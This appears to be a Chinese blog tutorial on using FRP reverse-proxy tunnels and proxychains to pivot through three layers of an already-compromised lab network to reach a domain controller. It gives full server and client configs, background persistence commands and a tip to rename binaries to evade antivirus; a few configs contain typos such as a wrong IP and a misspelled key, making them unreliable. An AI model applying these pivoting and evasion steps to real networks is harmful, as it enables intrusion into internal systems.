FRP多层代理隧道技术
简介
FRP 是一款专注于内网穿透的高性能反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。采用 Golang 编写,跨平台支持,无额外依赖。
项目资源:
- GitHub 仓库:https://github.com/fatedier/frp
- 官方文档:文档 | frp
网络环境分类
三层内网结构:
- 第一层网络:192.168.10.0/24 (VMnet1 仅主机模式)
- 第二层网络:192.168.20.0/24 (VMnet2)
- 第三层网络:192.168.30.0/24 (VMnet3)
真实机已禁用 VMnet1/2/3 网络适配器
一级网络代理配置
环境假设
- 已控制 Win2012(192.168.10.9)
- 目标:通过代理访问 Ubuntu(192.168.10.2)
服务端配置(VPS)
# frps.ini
[common]
bind_port = 7000
tls_enable = true
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = 123456
启动命令:
./frps -c frps.ini
客户端配置(Win2012)
# frpc.ini
[common]
tls_enable = true
server_addr = [VPS_IP]
server_port = 7000
[socks5]
remote_port = 1080
plugin = socks5
启动命令:
frpc.exe -c frpc.ini
代理使用
- 配置 Proxychains:
# /etc/proxychains4.conf
socks5 [VPS_IP] 1080
- 测试连接:
proxychains ssh root@192.168.10.2
二级网络代理配置
环境假设
- 已控制 DMZ 区 Ubuntu(192.168.10.2)
- 目标:访问办公区文件服务器(192.168.20.4)
架构
VPS <-> Win2012(DMZ) <-> Ubuntu(办公区)
一级客户端(Win2012)
# frpc.ini(连接VPS)
[common]
tls_enable = true
server_addr = [VPS_IP]
server_port = 7000
[socks5_forward]
type = tcp
remote_port = 1080
plugin = socks5
local_ip = 192.168.10.9
local_port = 10808
二级服务端(Win2012)
# frps.ini
[common]
bind_addr = 192.168.10.9
bind_port = 7000
tls_enable = true
二级客户端(Ubuntu)
# frpc.ini
[common]
tls_enable = true
server_addr = 192.168.10.9
server_port = 7000
[socks5]
type = tcp
plugin = socks5
remote_port = 10808
local_ip = 102.168.20.2
local_port = 10808
代理使用
配置proxychains
- 配置 Proxychains:
# /etc/proxychains4.conf
socks5 [VPS_IP] 1080
socks5 192.168.10.9 10808
- 测试连接:
proxychains rdesktop 192.168.20.4
三级网络代理配置
环境假设
- 已控制办公区文件服务器
- 目标:访问核心区域控(192.168.30.5)
架构
VPS <-> Win2012(DMZ) <-> Ubuntu(办公区) <-> Win2012(核心区)
一级客户端(Win2012)
# frpc.ini(连接VPS)
[common]
tls_enable = true
server_addr = [VPS_IP]
server_port = 7000
[socks5_forward]
type = tcp
remote_port = 1080
plugin = socks5
local_ip = 192.168.10.9
local_port = 10808
二级服务端(Win2012)
# frps.ini
[common]
tls_enable = true
bind_addr = 192.168.10.9
bind_port = 7000
二级客户端(Ubuntu)
# frpc.ini
[common]
tls_enable = true
server_addr = 192.168.10.9
server_port = 7000
[socks5]
type = tcp
remote_port = 10808
plugin = socks5
local_ip = 192.168.20.2
local_port = 10809
三级服务端(Ubuntu)
# frps.ini
[common]
tls_enable = true
bind_addr = 192.168.20.2
bind_port = 7000
三级客户端(办公区 Win2012)
# frpc.ini
[common]
tls_enable = true
server_addr = 192.168.20.2
server_port = 7000
[socks5]
type = tcp
remote_port = 10809
plugin = socks5
local_ip = 192.168.30.2
loacl_port = 10809
代理使用
- 配置 Proxychains:
# /etc/proxychains4.conf
socks5 [VPS_IP] 1080
socks5 192.168.10.9 10808
socks5 192.168.20.2 10809
- 测试连接:
proxychains rdesktop 192.168.30.5
关键参数说明
| 参数 | 说明 |
|---|---|
| bind_port | 服务端监听端口 |
| server_addr | 客户端连接服务端地址 |
| remote_port | 服务端暴露端口 |
| local_port | 本地转发端口 |
| plugin | 代理类型 |
配置proxifier
添加代理服务器:
设置过几个 local_ip 和 local_port 就要设置几个代理服务器,然后选择生成代理链,并将所有的代理服务器按代理顺序拖下去:


PS:这里演示的是二层代理,多层代理同理拓展即可
注意事项
- 建议启用 TLS:
tls_enable = true - 后台运行方式:
nohup ./frps >/dev/null 2>&1 & - Windows 持久化:
start /b frpc.exe -c frpc.ini - 杀毒软件可能拦截,建议重命名二进制文件
- 设置proxychains或者proxifier的时候设置过几个
local_ip和local_port就要设置几个,不然更深层的就无法访问。

浙公网安备 33010602011771号